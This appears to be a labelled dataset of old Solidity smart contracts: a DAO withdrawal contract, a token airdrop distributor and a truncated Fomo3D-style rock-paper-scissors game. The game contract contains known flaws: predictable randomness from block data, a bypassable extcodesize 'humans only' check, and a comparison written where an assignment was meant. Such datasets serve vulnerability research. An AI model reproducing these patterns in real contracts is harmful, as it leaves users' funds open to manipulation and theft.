contract DAO { function balanceOf(address addr) returns (uint); function transferFrom(address from, address to, uint balance) returns (bool); uint public totalSupply; } contract WithdrawDAO { DAO constant public mainDAO = DAO(0x5c40ef6f527f4fba68368774e6130ce6515123f2); address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526; function withdraw(){ uint balance = mainDAO.balanceOf(msg.sender); if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance)) throw; } function trusteeWithdraw() { trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply()); } }
0
722
pragma solidity ^0.4.19; contract ForeignToken { function balanceOf(address _owner) constant returns (uint256); function transfer(address _to, uint256 _value) returns (bool); } interface Token { function transfer(address _to, uint256 _value) returns (bool); function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); } contract EbyteDistribution { mapping (address => uint256) balances; mapping (address => bool) public blacklist; Token public ebyteToken; address public owner; uint256 public rate = 100000000; uint256 public percentage = 20; uint256 public ethBalance = 10000000000; uint256 public ebyteBalance = 100; bool public contractLocked = true; event sendTokens(address indexed to, uint256 value); event Locked(); event Unlocked(); function EbyteDistribution(address _tokenAddress, address _owner) { ebyteToken = Token(_tokenAddress); owner = _owner; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function setParameters(uint256 _Rate, uint256 _Percentage, uint256 _EthBalance, uint256 _EbyteBalance) onlyOwner public { rate = _Rate; percentage = _Percentage; ethBalance = _EthBalance; ebyteBalance = _EbyteBalance; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } modifier onlyOwner() { require(owner == msg.sender); _; } modifier isUnlocked() { require(!contractLocked); _; } function enableWhitelist(address[] addresses) onlyOwner { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner { for (uint i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function lockContract() onlyOwner public returns (bool) { contractLocked = true; Locked(); return true; } function unlockContract() onlyOwner public returns (bool) { contractLocked = false; Unlocked(); return false; } function balanceOf(address _holder) constant returns (uint256 balance) { return balances[_holder]; } function getTokenBalance(address who) constant public returns (uint){ uint bal = ebyteToken.balanceOf(who); return bal; } function getEthBalance(address _addr) constant public returns(uint) { return _addr.balance; } function distributeEbyte(address[] addresses, uint256 value) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { sendTokens(addresses[i], value); ebyteToken.transfer(addresses[i], value); } } function distributeEbyteForETH(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { if (getEthBalance(addresses[i]) < ethBalance) { continue; } uint256 ethMulti = getEthBalance(addresses[i]) / 1000000000; uint256 toDistr = (rate * ethMulti) / 1000000000; sendTokens(addresses[i], toDistr); ebyteToken.transfer(addresses[i], toDistr); } } function distributeEbyteForEBYTE(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { if (getTokenBalance(addresses[i]) < ebyteBalance) { continue; } uint256 toDistr = (getTokenBalance(addresses[i]) / 100) * percentage; sendTokens(addresses[i], toDistr); ebyteToken.transfer(addresses[i], toDistr); } } function distribution(address[] addresses) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { distributeEbyteForEBYTE(addresses); distributeEbyteForETH(addresses); break; } } function () payable onlyWhitelist isUnlocked public { address investor = msg.sender; uint256 toGiveT = (getTokenBalance(investor) / 100) * percentage; uint256 ethMulti = getEthBalance(investor) / 1000000000; uint256 toGiveE = (rate * ethMulti) / 1000000000; sendTokens(investor, toGiveT); ebyteToken.transfer(investor, toGiveT); sendTokens(investor, toGiveE); ebyteToken.transfer(investor, toGiveE); blacklist[investor] = true; } function tokensAvailable() constant returns (uint256) { return ebyteToken.balanceOf(this); } function withdraw() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0
951
pragma solidity ^0.4.24; contract J3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); event onNewJanWin ( uint256 indexed roundID, uint256 indexed buyerID, address playerAddress, bytes32 playerName, uint256 amount, uint256 timeStamp ); } contract modularLong is J3Devents {} interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } interface HourglassInterface { function() payable external; function buy(address _playerAddress) payable external returns(uint256); function sell(uint256 _amountOfTokens) external; function reinvest() external; function withdraw() external; function exit() external; function dividendsOf(address _playerAddress) external view returns(uint256); function balanceOf(address _playerAddress) external view returns(uint256); function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool); function stakingRequirement() external view returns(uint256); } contract JanKenPon is modularLong { using SafeMath for *; using NameFilter for string; using J3DKeysCalcLong for uint256; JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x7f546aC4261CA5dE2D5e12E16Ae0F1B5c479b0c2); PlayerBookInterface private PlayerBook = PlayerBookInterface(0x0183f4E77F21b232F60fAf6898D6a8FE899489CB); string constant public name = "Jan Ken Pon"; string constant public symbol = "JKP"; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 30; uint256 constant private rndInit_ = 3 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public gasPriceLimit_ = 500000000000; uint256 public rID_; uint256 public janPot_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => J3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => J3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => J3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => J3Ddatasets.TeamFee) public fees_; mapping (uint256 => J3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = J3Ddatasets.TeamFee(50,25,15,5,5); fees_[1] = J3Ddatasets.TeamFee(50,25,15,5,5); fees_[2] = J3Ddatasets.TeamFee(50,25,15,5,5); fees_[3] = J3Ddatasets.TeamFee(50,25,15,5,5); potSplit_[0] = J3Ddatasets.PotSplit(30,50,10,10); potSplit_[1] = J3Ddatasets.PotSplit(30,50,10,10); potSplit_[2] = J3Ddatasets.PotSplit(30,50,10,10); potSplit_[3] = J3Ddatasets.PotSplit(30,50,10,10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } modifier isGasLimit() { require(gasPriceLimit_ >= tx.gasprice, "GasPrice too high"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) isGasLimit() public payable { J3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _team = randomTeam(); buyCore(_pID, plyr_[_pID].laff,_team, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) isGasLimit() public payable { J3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) isGasLimit() public payable { J3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) isGasLimit() public payable { J3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) isGasLimit() public { J3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) isGasLimit() public { J3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) isGasLimit() public { J3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { J3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit J3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit J3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit J3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit J3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit J3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].eth, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, round_[_rID].team, round_[_rID].plyr, plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], janPot_ ); } function getCurrentPotInfo() public view returns(uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( _rID, round_[_rID].pot, round_[_rID].team, janPot_ ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, J3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit J3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, J3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit J3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, J3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 50000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2000000000000000000) { uint256 _availableLimit = (2000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if(janwin(round_[_rID].team,_team)) { uint _janprice; if (_eth >= 10000000000000000000) { _janprice = ((janPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_janprice); janPot_ = (janPot_).sub(_janprice); } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _janprice = ((janPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_janprice); janPot_ = (janPot_).sub(_janprice); } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _janprice = ((janPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_janprice); janPot_ = (janPot_).sub(_janprice); } if(_janprice > 0){ emit J3Devents.onNewJanWin( _rID, _pID, plyr_[_pID].addr, plyr_[_pID].name, _janprice, now ); } } if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(J3Ddatasets.EventReturns memory _eventData_) private returns (J3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private view returns (uint256) { if (_team < 0 || _team > 2){ uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); _team = (seed - ((seed / 3) * 3)); } return(_team); } function managePlayer(uint256 _pID, J3Ddatasets.EventReturns memory _eventData_) private returns (J3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(J3Ddatasets.EventReturns memory _eventData_) private returns (J3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(potSplit_[_winTID].win)) / 100; uint256 _com = (_pot.mul(potSplit_[_winTID].com)) / 100; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if(janPot_ > 0){ _com = _com.add(janPot_); janPot_ = 0; } if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) { _res = _res.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function janwin(uint256 team1,uint256 team2) private pure returns(bool){ if(team2 == 0 && team1 == 1){ return true; } else if(team2 == 1 && team1 == 2 ){ return true; } else if(team2 == 2 && team1 == 0 ){ return true; } return false; } function randomTeam() public view returns(uint256){ uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); return (seed - ((seed / 3) * 3)); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, J3Ddatasets.EventReturns memory _eventData_) private returns(J3Ddatasets.EventReturns) { uint256 _com = _eth.mul(fees_[_team].com) / 100; if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) { round_[rID_].pot = round_[rID_].pot.add(_com); _com = 0; } uint256 _aff = _eth.mul(fees_[_team].aff) / 100; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit J3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { round_[rID_].pot = round_[rID_].pot.add(_aff); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit J3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, J3Ddatasets.EventReturns memory _eventData_) private returns(J3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _jan = (_eth.mul(fees_[_team].jan)) / 100; janPot_ = janPot_.add(_jan); _eth = _eth.sub((_eth.mul(fees_[_team].com + fees_[_team].aff + fees_[_team].jan)) / 100); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; 